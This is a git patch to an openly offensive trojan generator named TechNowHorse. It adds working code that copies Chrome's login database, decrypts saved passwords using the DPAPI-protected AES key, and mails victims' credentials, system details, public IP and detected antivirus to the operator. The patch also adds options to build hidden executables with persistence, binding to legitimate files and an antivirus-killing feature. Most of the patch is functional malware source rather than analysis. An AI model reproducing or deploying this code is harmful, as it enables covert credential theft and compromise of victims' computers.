From 4a9a332b5a1fb34c84a06cbfb9c94a9fdd8def5e Mon Sep 17 00:00:00 2001
From: Pushpender Singh <singhpushpender250@gmail.com>
Date: Wed, 20 Apr 2022 16:03:19 +0530
Subject: [PATCH] v1.7 [Using colorama + ChromePassStealerFix +
 PyinstallerPathFinderFix

---
 banners.py          |  45 +-----------
 get_chrome_pass.py  | 171 ++++++++++++++++++++++++++++++++++----------
 password_stealer.py |  51 +++++++++++--
 paygen.py           | 143 ++++++++++++++++++++----------------
 requirements.txt    |  13 ++--
 updater.py          |   4 +-
 version.txt         |   2 +-
 7 files changed, 273 insertions(+), 156 deletions(-)

diff --git a/banners.py b/banners.py
index 9805ade..44f9e7d 100644
--- a/banners.py
+++ b/banners.py
@@ -65,27 +65,6 @@
 
 """
 
-figlet_ogre = """
-
- _____          _         __                                       
-/__   \___  ___| |__   /\ \ \_____      __/\  /\___  _ __ ___  ___ 
-  / /\/ _ \/ __| '_ \ /  \/ / _ \ \ /\ / / /_/ / _ \| '__/ __|/ _ \
- / / |  __/ (__| | | / /\  / (_) \ V  V / __  / (_) | |  \__ \  __/
- \/   \___|\___|_| |_\_\ \/ \___/ \_/\_/\/ /_/ \___/|_|  |___/\___|
-                                                                                                                     
-
-"""
-
-figlet_slant = """
-
-  ______          __    _   __              __  __                   
- /_  __/__  _____/ /_  / | / /___ _      __/ / / /___  _____________ 
-  / / / _ \/ ___/ __ \/  |/ / __ \ | /| / / /_/ / __ \/ ___/ ___/ _ \
- / / /  __/ /__/ / / / /|  / /_/ / |/ |/ / __  / /_/ / /  (__  )  __/
-/_/  \___/\___/_/ /_/_/ |_/\____/|__/|__/_/ /_/\____/_/  /____/\___/ 
-                                                                                                                                               
-
-"""
 
 figlet_small = """
 
@@ -96,27 +75,7 @@
                                                         										   
 
 """
-
-figlet_smslant = """
-
- ______        __   _  __           __ __                
-/_  __/__ ____/ /  / |/ /__ _    __/ // /__  _______ ___ 
- / / / -_) __/ _ \/    / _ \ |/|/ / _  / _ \/ __(_-</ -_)
-/_/  \__/\__/_//_/_/|_/\___/__,__/_//_/\___/_/ /___/\__/ 
-                                                           
-
-"""
-
-figlet_standard = """
-
-  _____         _     _   _               _   _                     
- |_   _|__  ___| |__ | \ | | _____      _| | | | ___  _ __ ___  ___ 
-   | |/ _ \/ __| '_ \|  \| |/ _ \ \ /\ / / |_| |/ _ \| '__/ __|/ _ \
-   | |  __/ (__| | | | |\  | (_) \ V  V /|  _  | (_) | |  \__ \  __/
-   |_|\___|\___|_| |_|_| \_|\___/ \_/\_/ |_| |_|\___/|_|  |___/\___|
-                                                                    
-
-"""													
+												
 
 def get_banner():
-    return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper, figlet_ogre, figlet_slant, figlet_small, figlet_smslant, figlet_standard])
\ No newline at end of file
+    return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper, figlet_small])
\ No newline at end of file
diff --git a/get_chrome_pass.py b/get_chrome_pass.py
index 922868c..2aa6425 100644
--- a/get_chrome_pass.py
+++ b/get_chrome_pass.py
@@ -1,42 +1,135 @@
-import os, sqlite3, win32crypt, six
-#python -m pip install --upgrade pywin32
+import os
+import sys
+import shutil
+import sqlite3
+import json, base64
+
+from cryptography.hazmat.backends import default_backend
+from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
 
 class GetChromePass:
     def __init__(self):
-        self.data_path = os.path.expanduser('~').replace("\\", '/') + "/AppData/Local/Google/Chrome/User Data/Default"
-        self.login_db = os.path.join(self.data_path, 'Login Data')
-        self.result = ""
-
-    def start(self):  
-        #Retriving Password Hash From Database File
-        c = sqlite3.connect(self.login_db)  
-        cursor = c.cursor()
-        select_statement = "SELECT origin_url, username_value, password_value FROM logins"
-        cursor.execute(select_statement)
-        login_data = cursor.fetchall()
-
-        credentials_dict = {}  
-
-        #Decrypting password
-        for url, user_name, pwd, in login_data:
-            pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #Tuple
-            credentials_dict[url] = (user_name, pwd[1])
-        
-        #Iterating Each Creds and Storing it in "self.result"
-        for url, credentials in six.iteritems(credentials_dict):
-            if credentials[1]:
-                self.result += "\n\nURL      : " + url
-                self.result += "\nUsername : " + credentials[0]
-                self.result += "\nPassword : " + credentials[1].decode('utf-8')
-                
-            else:   
-                self.result += "\n\nURL      : " + url
-                self.result += "\nUsername : NOT FOUND"
-                self.result += "\nPassword : NOT FOUND"
-
-        return self.result
-        
-if __name__ == '__main__':
-    test = GetChromePass()
-    result = test.start()
-    print(result)
+        self.passwordlog = ""
+        self.APP_DATA_PATH   = os.environ['LOCALAPPDATA']
+        self.DB_PATH         = r'Google\Chrome\User Data\Default\Login Data'
+        self.NONCE_BYTE_SIZE = 12
+
+    def start(self):
+        _full_path = os.path.join(self.APP_DATA_PATH, self.DB_PATH)
+        _temp_path = os.path.join(self.APP_DATA_PATH, 'sqlite_file')
+        if os.path.exists(_temp_path):
+            os.remove(_temp_path)
+        shutil.copyfile(_full_path,_temp_path)
+        self.show_password(_temp_path)
+        return self.passwordlog
+
+    def show_password(self, db_file):
+        conn = sqlite3.connect(db_file)
+        _sql = 'select signon_realm,username_value,password_value from logins'
+        for row in conn.execute(_sql):
+            host = row[0]
+            if host.startswith('android'):
+                continue
+            name = row[1]
+            value = self.chrome_decrypt(row[2])
+            _info = 'Hostname: %s\nUsername: %s\nPassword: %s\n\n' %(host,name,value)
+            self.passwordlog += _info
+        conn.close()
+        os.remove(db_file)
+
+    def chrome_decrypt(self, encrypted_txt):
+        if sys.platform == 'win32':
+            try:
+                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
+                    decrypted_txt = self.dpapi_decrypt(encrypted_txt)
+                    return decrypted_txt.decode()
+                elif encrypted_txt[:3] == b'v10':
+                    decrypted_txt = self.aes_decrypt(encrypted_txt)
+                    return decrypted_txt[:-16].decode()
+            except WindowsError:
+                return None
+        else:
+            try:
+                return unix_decrypt(encrypted_txt)
+            except NotImplementedError:
+                return None
+
+    def encrypt(self, cipher, plaintext, nonce):
+        cipher.mode = modes.GCM(nonce)
+        encryptor = cipher.encryptor()
+        ciphertext = encryptor.update(plaintext)
+        return (cipher, ciphertext, nonce)
+
+    def decrypt(self, cipher, ciphertext, nonce):
+        cipher.mode = modes.GCM(nonce)
+        decryptor = cipher.decryptor()
+        return decryptor.update(ciphertext)
+
+    def get_cipher(self, key):
+        cipher = Cipher(
+            algorithms.AES(key),
+            None,
+            backend=default_backend()
+        )
+        return cipher
+
+    def dpapi_decrypt(self, encrypted):
+        import ctypes
+        import ctypes.wintypes
+
+        class DATA_BLOB(ctypes.Structure):
+            _fields_ = [('cbData', ctypes.wintypes.DWORD),
+                        ('pbData', ctypes.POINTER(ctypes.c_char))]
+
+        p = ctypes.create_string_buffer(encrypted, len(encrypted))
+        blobin = DATA_BLOB(ctypes.sizeof(p), p)
+        blobout = DATA_BLOB()
+        retval = ctypes.windll.crypt32.CryptUnprotectData(
+            ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
+        if not retval:
+            raise ctypes.WinError()
+        result = ctypes.string_at(blobout.pbData, blobout.cbData)
+        ctypes.windll.kernel32.LocalFree(blobout.pbData)
+        return result
+
+    def unix_decrypt(self, encrypted):
+        if sys.platform.startswith('linux'):
+            password = 'peanuts'
+            iterations = 1
+        else:
+            raise NotImplementedError
+
+        from Crypto.Cipher import AES
+        from Crypto.Protocol.KDF import PBKDF2
+
+        salt      = 'saltysalt'
+        iv        = ' ' * 16
+        length    = 16
+        key       = PBKDF2(password, salt, length, iterations)
+        cipher    = AES.new(key, AES.MODE_CBC, IV=iv)
+        decrypted = cipher.decrypt(encrypted[3:])
+        return decrypted[:-ord(decrypted[-1])]
+
+    def get_key_from_local_state(self):
+        jsn = None
+        with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode ="r") as f:
+            jsn = json.loads(str(f.readline()))
+        return jsn["os_crypt"]["encrypted_key"]
+
+    def aes_decrypt(self, encrypted_txt):
+        encoded_key   = self.get_key_from_local_state()
+        encrypted_key = base64.b64decode(encoded_key.encode())
+        encrypted_key = encrypted_key[5:]
+        key           = self.dpapi_decrypt(encrypted_key)
+        nonce         = encrypted_txt[3:15]
+        cipher        = self.get_cipher(key)
+        return self.decrypt(cipher, encrypted_txt[15:], nonce)
+
+
+if __name__=="__main__":
+    Main = GetChromePass()
+    password = Main.start()
+    print(password)
+
+
+
diff --git a/password_stealer.py b/password_stealer.py
index 50c4ed9..c121e54 100644
--- a/password_stealer.py
+++ b/password_stealer.py
@@ -1,14 +1,15 @@
 #!/usr/bin/python3
 import time, smtplib, platform, getpass
 import get_chrome_pass, get_wifi_pass  #Self Written Modules
+import requests
+import os 
 
 #==================================================================
 #Author : Pushpender Singh
-#Website: https://technowlogy.tk
 #==================================================================
 #Usage: Module is send Saved Password of Victim machine to Email.
 #==================================================================
-#Github: https://github.com/Technowlogy-Pushpender/
+#Github: https://github.com/PushpenderIndia/
 #==================================================================
 
 class SendPass:
@@ -25,7 +26,7 @@ def get_chrome_browser_creds(self):
             self.log += chrome.start()
         except Exception:
             time.sleep(10)
-            self.get_browser_creds()            
+            self.get_chrome_browser_creds()            
         self.send_mail(self.log)
         self.log = ""
         
@@ -43,10 +44,50 @@ def get_wifi_creds(self):
 
     def get_system_info(self):
         uname = platform.uname()
-        os = uname[0] + " " + uname[2] + " " + uname[3]
+        operating_system = uname[0] + " " + uname[2] + " " + uname[3]
         computer_name = uname[1]
         user = getpass.getuser()
-        return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
+
+        # Finding AV
+        av = "Unknown"
+        if os.path.exists('C:\\Program Files\\Windows Defender'):
+            av = 'Windows Defender'
+        if os.path.exists('C:\\Program Files\\AVAST Software\\Avast'):
+            av = 'Avast'
+        if os.path.exists('C:\\Program Files\\AVG\\Antivirus'):
+            av = 'AVG'
+        if os.path.exists('C:\\Program Files\\Avira\\Launcher'):
+            av = 'Avira'
+        if os.path.exists('C:\\Program Files\\IObit\\Advanced SystemCare'):
+            av = 'Advanced SystemCare'
+        if os.path.exists('C:\\Program Files\\Bitdefender Antivirus Free'):
+            av = 'Bitdefender'
+        if os.path.exists('C:\\Program Files\\COMODO\\COMODO Internet Security'):
+            av = 'Comodo'
+        if os.path.exists('C:\\Program Files\\DrWeb'):
+            av = 'Dr.Web'
+        if os.path.exists('C:\\Program Files\\ESET\\ESET Security'):
+            av = 'ESET'
+        if os.path.exists('C:\\Program Files\\GRIZZLY Antivirus'):
+            av = 'Grizzly Pro'
+        if os.path.exists('C:\\Program Files\\Kaspersky Lab'):
+            av = 'Kaspersky'
+        if os.path.exists('C:\\Program Files\\IObit\\IObit Malware Fighter'):
+            av = 'Malware fighter'
+        if os.path.exists('C:\\Program Files\\360\\Total Security'):
+            av = '360 Total Security'  
+              
+        try:
+            IP_Address = requests.get('http://ip.42.pl/raw').text
+        except: IP_Address = "Unknown"
+
+        sys_logs =  "Operating System: " + operating_system + "\n"
+        sys_logs += "Computer Name:    " + computer_name    + "\n"
+        sys_logs += "User:             " + user             + "\n"
+        sys_logs += "IP Address:       " + IP_Address       + "\n"
+        sys_logs += "Anti Virus:       " + av 
+
+        return sys_logs
 
     def send_mail(self, message):
         try:
diff --git a/paygen.py b/paygen.py
index a0c4641..bf9a177 100644
--- a/paygen.py
+++ b/paygen.py
@@ -7,8 +7,9 @@
 import banners
 import platform
 from essential_generators import DocumentGenerator
-
-BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
+from colorama import init
+from colorama import Fore, Back, Style
+init()
 
 if platform.system() == 'Windows':
     PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")
@@ -18,16 +19,17 @@
     PYTHON_PYINSTALLER_PATH = "wine ~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe"
 
 def get_options():
-    parser = argparse.ArgumentParser(description=f'{RED}TechnowHorse v1.6')
-    parser._optionals.title = f"{GREEN}Optional Arguments{YELLOW}"
+    parser = argparse.ArgumentParser(description=f'{Fore.RED}TechnowHorse v1.7')
+    parser._optionals.title = f"{Fore.GREEN}Optional Arguments{Fore.YELLOW}"
     parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
     parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')
     parser.add_argument("-t", "--persistence", dest="time_persistent", help="Becoming Persistence After __ seconds. default=10", default=10) 
     parser.add_argument("-b", "--bind", dest="bind", help="AutoBinder : Specify Path of Legitimate file.") 
     parser.add_argument("-k", "--kill_av", dest="kill_av", help="AntivirusKiller : Specify AV's .exe which need to be killed. Ex:- --kill_av cmd.exe") 
-    parser.add_argument("-s", "--steal-password", dest="stealer", help=f"Steal Saved Password from Victim Machine [{RED}Supported OS : Windows{YELLOW}]", action='store_true')
+    parser.add_argument("-s", "--steal-password", dest="stealer", help=f"Steal Saved Password from Victim Machine [{Fore.RED}Supported OS : Windows{Fore.YELLOW}]", action='store_true')
+    parser.add_argument("-d", "--debug", dest="debug", help=f"Run Virus in Foreground", action='store_true')
 
-    required_arguments = parser.add_argument_group(f'{RED}Required Arguments{GREEN}')
+    required_arguments = parser.add_argument_group(f'{Fore.RED}Required Arguments{Fore.GREEN}')
     required_arguments.add_argument("--icon", dest="icon", help="Specify Icon Path, Icon of Evil File [Note : Must Be .ico].")    
     required_arguments.add_argument("--ip", dest="ip", help="Email address to send reports to.")
     required_arguments.add_argument("--port", dest="port", help="Port of the IP Address given in the --ip argument.")
@@ -47,36 +49,37 @@ def get_python_pyinstaller_path():
             python_path = subprocess.check_output("which pyinstaller.exe", shell=True)
 
         python_path = str(python_path).split('\'')[1]
-        python_path = python_path.replace("\\n", "")
+        python_path = python_path.split("\\n")[0]
         python_path = python_path.replace("\\r", "")
-        python_path = python_path.replace("\\\\", "/")  
+        python_path = python_path.replace("\\\\", "/") 
     except Exception:
         python_path = "UnableToFind"
 
     return python_path
 
 def check_dependencies():
-    print(f"{YELLOW}\n[*] Checking Dependencies...")
+    print(f"{Fore.YELLOW}\n[*] Checking Dependencies...")
     try:
-        import mss, essential_generators, PyInstaller, six
-        print(f"{GREEN}[+] All Dependencies are Installed on this system ;)\n")
+        import mss, essential_generators, PyInstaller, six, cryptography
+        print(f"{Fore.GREEN}[+] All Dependencies are Installed on this system ;)\n")
     except Exception as e:
         print(f"[!] Error : {e}")
         try:
-            print(f"{YELLOW}[*] Installing All Dependencies From Scratch...\n")
-            print(f'\n{WHITE}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n')
+            print(f"{Fore.YELLOW}[*] Installing All Dependencies From Scratch...\n")
+            print(f'\n{Fore.WHITE}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n')
             import pip
             while 1:
-                pip.main(['install', 'mss==4.0.3'])
-                pip.main(['install', 'essential_generators==0.9.2'])
+                pip.main(['install', 'mss'])
+                pip.main(['install', 'essential_generators'])
                 pip.main(['install', 'PyInstaller'])
-                pip.main(['install', 'six==1.12.0']) 
-                pip.main(['install', 'python-xlib==0.25'])
-                print(f'\n{WHITE}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n')
-                print(f"{GREEN}\n[+] Dependencies installed correctly ;)\n")
+                pip.main(['install', 'six']) 
+                pip.main(['install', 'python-xlib'])
+                pip.main(['install', 'cryptography'])
+                print(f'\n{Fore.WHITE}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n')
+                print(f"{Fore.GREEN}\n[+] Dependencies installed correctly ;)\n")
                 break
         except:
-            print(f"{RED}\n[!] Unable to Install Dependencies, Please Try Again :(\n")
+            print(f"{Fore.RED}\n[!] Unable to Install Dependencies, Please Try Again :(\n")
             quit()
 
 def create_trojan(file_name, email, password, ip, port, time_persistent, legitimate_file=None):    
@@ -146,20 +149,37 @@ def obfuscating_payload(file_name):
         file.write(text)
         
 def compile_for_windows(file_name):
-    if arguments.bind != None and arguments.stealer:
-        subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)                
+    if arguments.debug:
+        if arguments.bind != None and arguments.stealer:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)                
+
+        elif arguments.bind != None:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)
 
-    elif arguments.bind != None:
-        subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)
+        elif arguments.stealer:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon}", shell=True)                
 
-    elif arguments.stealer:
-        subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon}", shell=True)                
+        else:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
 
     else:
-        subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
+        if arguments.bind != None and arguments.stealer:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)                
+
+        elif arguments.bind != None:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon} --add-data \"{arguments.bind};.\"", shell=True)
+
+        elif arguments.stealer:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload --hidden-import=password_stealer {file_name} -i {arguments.icon}", shell=True)                
+
+        else:
+            subprocess.call(f"{PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
 
 def compile_for_linux(file_name):
-    subprocess.call(f"pyinstaller --onefile --noconsole --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
+    if arguments.debug:
+        subprocess.call(f"pyinstaller --onefile --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
+    else:
+        subprocess.call(f"pyinstaller --onefile --noconsole --hidden-import=payload {file_name} -i {arguments.icon}", shell=True)
     
 def del_junk_file(file_name):
     try:
@@ -183,7 +203,7 @@ def exit_greet():
     except Exception as e:
         os.system('clear')   
     del_junk_file(arguments.output)
-    print(GREEN + '''Thank You for using TechNowHorse, Think Great & Touch The Sky!  \n''' + END)
+    print(Fore.GREEN + '''Thank You for using TechNowHorse, Think Great & Touch The Sky!  \n''' + Style.RESET_ALL)
     quit()    
 
 if __name__ == '__main__':
@@ -200,38 +220,39 @@ def exit_greet():
         
     try:
         print(banners.get_banner())
-        print(f"\t\t{YELLOW}Author: {GREEN}Pushpender | {YELLOW}GitHub: {GREEN}@PushpenderIndia\n")
+        print(f"\t\t{Fore.YELLOW}Author: {Fore.GREEN}Pushpender | {Fore.YELLOW}GitHub: {Fore.GREEN}@PushpenderIndia\n")
           
         arguments = get_options()
         
         if arguments.icon == None:
-            arguments.icon = input(f'{RED}[!] Please Specify Icon Path {WHITE}[{GREEN}LEAVE BLANK to SET icon/exe.ico as icon{WHITE}] : ')
+            arguments.icon = input(f'{Fore.RED}[!] Please Specify Icon Path {Fore.WHITE}[{Fore.GREEN}LEAVE BLANK to SET icon/exe.ico as icon{Fore.WHITE}] : ')
             if arguments.icon == "":
                 arguments.icon = "icon/exe.ico"     
             
         if not os.path.exists(PYTHON_PYINSTALLER_PATH.replace("wine ", "")) and arguments.windows:
             PYTHON_PYINSTALLER_PATH = get_python_pyinstaller_path()
             if PYTHON_PYINSTALLER_PATH == "UnableToFind":
-                print(f'{RED}[!] Default Pyinstaller Path inside Wine Directory is Incorrect')
-                print(f'{RED}[!] {WHITE}[Please Update Line 19 Later] [{RED}DefautPath: {WHITE}~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe]')
+                print(f'{Fore.RED}[!] Default Pyinstaller Path inside Wine Directory is Incorrect')
+                print(f'{Fore.RED}[!] {Fore.WHITE}[Please Update Line 19 Later] [{Fore.RED}DefautPath: {Fore.WHITE}~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe]')
                 PYTHON_PYINSTALLER_PATH = "wine "
-                PYTHON_PYINSTALLER_PATH += input(f'\n{WHITE}[?] Enter pyinstaller.exe path manually : ')            
+                PYTHON_PYINSTALLER_PATH += input(f'\n{Fore.WHITE}[?] Enter pyinstaller.exe path manually : ')            
         
-        print(f'\n{GREEN}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]{GREEN}')
-        print(f'\n   {YELLOW}Email:{RED} ' + arguments.email)
-        print(f'   {YELLOW}Password:{RED} ' + arguments.password) 
-        print(f'   {YELLOW}IP Address:{RED} ' + arguments.ip)
-        print(f'   {YELLOW}Port:{RED} ' + arguments.port)         
-        print(f'   {YELLOW}Output Evil File Name:{RED} ' + arguments.output)
-        print(f'   {YELLOW}Becoming Persistence After:{RED} ' + str(arguments.time_persistent) + f'{YELLOW} seconds') 
-        print(f'   {YELLOW}Icon Path:{RED} ' + arguments.icon)
+        print(f'\n{Fore.GREEN}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]{Fore.GREEN}')
+        print(f'\n   {Fore.YELLOW}Email:{Fore.RED} ' + arguments.email)
+        print(f'   {Fore.YELLOW}Password:{Fore.RED} ' + arguments.password) 
+        print(f'   {Fore.YELLOW}IP Address:{Fore.RED} ' + arguments.ip)
+        print(f'   {Fore.YELLOW}Port:{Fore.RED} ' + arguments.port)         
+        print(f'   {Fore.YELLOW}Output Evil File Name:{Fore.RED} ' + arguments.output)
+        print(f'   {Fore.YELLOW}Becoming Persistence After:{Fore.RED} ' + str(arguments.time_persistent) + f'{Fore.YELLOW} seconds') 
+        print(f'   {Fore.YELLOW}Icon Path:{Fore.RED} ' + arguments.icon)
+        print(f'   {Fore.YELLOW}Pyinstaller Path:{Fore.RED} ' + PYTHON_PYINSTALLER_PATH + f" {Fore.YELLOW}[{Fore.WHITE}Manually Update line: 15 & 19, If this PATH is Incorrect{Fore.YELLOW}]")
 
         if arguments.bind != None:
-            print(f'   {YELLOW}Binding To [{RED}Legitimate File Path{YELLOW}]:{RED} ' + str(arguments.bind))
+            print(f'   {Fore.YELLOW}Binding To [{Fore.RED}Legitimate File Path{Fore.YELLOW}]:{Fore.RED} ' + str(arguments.bind))
             
-        print(f'\n{GREEN}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]')
+        print(f'\n{Fore.GREEN}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]')
         
-        ask = input(f'\n{WHITE}[?] These info above are correct? (y/n) : ')
+        ask = input(f'\n{Fore.WHITE}[?] These info above are correct? (y/n) : ')
     
         if ask.lower() == 'y':
             pass
@@ -242,21 +263,21 @@ def exit_greet():
             arguments.port = int(input('[?] LPORT: ')) 
             arguments.time_persistent = int(input('[?] Time After which it should become persistence; [In Seconds]: '))            
             arguments.output = input('[?] Output Evil File Name: ')
-            arguments.icon = input(f'[?] Icon Path [{RED}If Present In This Directory, then just type Name{WHITE}]: ')  
+            arguments.icon = input(f'[?] Icon Path [{Fore.RED}If Present In This Directory, then just type Name{Fore.WHITE}]: ')  
             if arguments.bind != None:
-                arguments.bind = input(f'[?] Path of Legitimate File [{RED}.exe is Recommended{WHITE}]: ')            
+                arguments.bind = input(f'[?] Path of Legitimate File [{Fore.RED}.exe is Recommended{Fore.WHITE}]: ')            
 
         check_dependencies()
 
-        print(f"\n{YELLOW}[*] Generating Please wait for a while...{MAGENTA}\n")        
+        print(f"\n{Fore.YELLOW}[*] Generating Please wait for a while...{Fore.MAGENTA}\n")        
         
         if Attacker_System == 'Linux':
             if arguments.linux:
                 create_trojan_linux(arguments.output, arguments.email, arguments.password, arguments.ip, arguments.port, arguments.time_persistent)
         
         if Attacker_System == 'Windows' and arguments.linux:
-            print(f"{RED}[!] Linux payload can't be compiled from windows machine")
-            print(f"{YELLOW}[*] Making Payload for Windows ...\n")
+            print(f"{Fore.RED}[!] Linux payload can't be compiled from windows machine")
+            print(f"{Fore.YELLOW}[*] Making Payload for Windows ...\n")
         
         if arguments.windows:
             create_trojan(arguments.output, arguments.email, arguments.password, arguments.ip, arguments.port, arguments.time_persistent, arguments.bind)
@@ -266,9 +287,9 @@ def exit_greet():
         encrypting_code = encrypt_code.Encrypt()
         encrypting_code.encrypt(arguments.output)
 
-        print(f"{YELLOW}[*] Compiling your payload, Please Wait for a while...")
+        print(f"{Fore.YELLOW}[*] Compiling your payload, Please Wait for a while...")
 
-        print(f"{MAGENTA}")        
+        print(f"{Fore.MAGENTA}")        
 
         if arguments.windows:
             compile_for_windows(arguments.output)
@@ -277,21 +298,21 @@ def exit_greet():
             compile_for_linux(arguments.output)
             
         else:
-            print(f"{RED}[!] Please Specify {YELLOW}-w{RED} for {GREEN}WINDOWS{RED} or {YELLOW}-l{RED} for {GREEN}LINUX{RED} payload generation")            
+            print(f"{Fore.RED}[!] Please Specify {Fore.YELLOW}-w{Fore.RED} for {Fore.GREEN}WINDOWS{Fore.RED} or {Fore.YELLOW}-l{Fore.RED} for {Fore.GREEN}LINUX{Fore.RED} payload generation")            
             
-        print(f"\n{YELLOW}[*] Deleting Junk Files...")
+        print(f"\n{Fore.YELLOW}[*] Deleting Junk Files...")
         del_junk_file(arguments.output)
-        print(f"{GREEN}[+] Junk Files Removed Successfully!")
+        print(f"{Fore.GREEN}[+] Junk Files Removed Successfully!")
         
         if os.path.exists(f'dist/{arguments.output}.exe') or os.path.exists(f'dist/{arguments.output}'):
-            print(f"\n{GREEN}[+] Generated Successfully!\n")           
-            print(f"\n\n{RED}[***] Don't forget to allow less secure applications in your Gmail account.")
-            print(f"{GREEN}Use the following link to do so https://myaccount.google.com/lesssecureapps")  
-            print(f"\n{RED} :O-) TIP{YELLOW} : USE ICONS from {RED}icon{YELLOW} folder like this >>  {RED}--icon icon/exe.ico")            
+            print(f"\n{Fore.GREEN}[+] Generated Successfully!\n")           
+            print(f"\n\n{Fore.RED}[***] Don't forget to allow less secure applications in your Gmail account.")
+            print(f"{Fore.GREEN}Use the following link to do so https://myaccount.google.com/lesssecureapps")  
+            print(f"\n{Fore.RED} :O-) TIP{Fore.YELLOW} : USE ICONS from {Fore.RED}icon{Fore.YELLOW} folder like this >>  {Fore.RED}--icon icon/exe.ico")            
 
         else:
-            print(f"\n{RED}[!] Failed To Generate Your Payload :(, Please Try Again!\n")
-            print(f"\n{GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/technowhorse\n")  
+            print(f"\n{Fore.RED}[!] Failed To Generate Your Payload :(, Please Try Again!\n")
+            print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/technowhorse\n")  
     
     except KeyboardInterrupt:        
         exit_greet()
diff --git a/requirements.txt b/requirements.txt
index 2dcbe15..3459605 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,6 +1,9 @@
-mss==4.0.3
-essential_generators==0.9.2
+mss
+colorama
+requests
+cryptography
+essential_generators
 PyInstaller
-six==1.12.0 
-python-xlib==0.25
-py32win
\ No newline at end of file
+six
+python-xlib
+py32win
diff --git a/updater.py b/updater.py
index cb96c62..4d63a58 100644
--- a/updater.py
+++ b/updater.py
@@ -23,7 +23,7 @@ def exit_greet():
 
 def main():
     try:
-        version = urlopen("https://raw.githubusercontent.com/Technowlogy-Pushpender/technowhorse/master/version.txt").read()
+        version = urlopen("https://raw.githubusercontent.com/PushpenderIndia/technowhorse/master/version.txt").read()
     except Exception as e:
         print("[!] Unable to Fletch Origin version.txt")
         print("[!] Please Check Your Internet Connection!")
@@ -40,7 +40,7 @@ def main():
 if __name__ == '__main__':
     try:
         print(banners.get_banner())
-        print(f"\t{YELLOW}Author: {GREEN}Pushpender | {YELLOW}Website: {GREEN}technowlogy.tk\n")
+        print(f"\t{YELLOW}Author: {GREEN}Pushpender | {YELLOW}GitHub: {GREEN}PushpenderIndia\n")
         print(f"{YELLOW}[*] Welcome to TechNowHorse's Auto Updater")
         print(f"{GREEN}[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]")
         print(f"{YELLOW}[*] Please Note : Git must be installed in order to use \"updater.py\"")
diff --git a/version.txt b/version.txt
index 94737e7..3feeffa 100644
--- a/version.txt
+++ b/version.txt
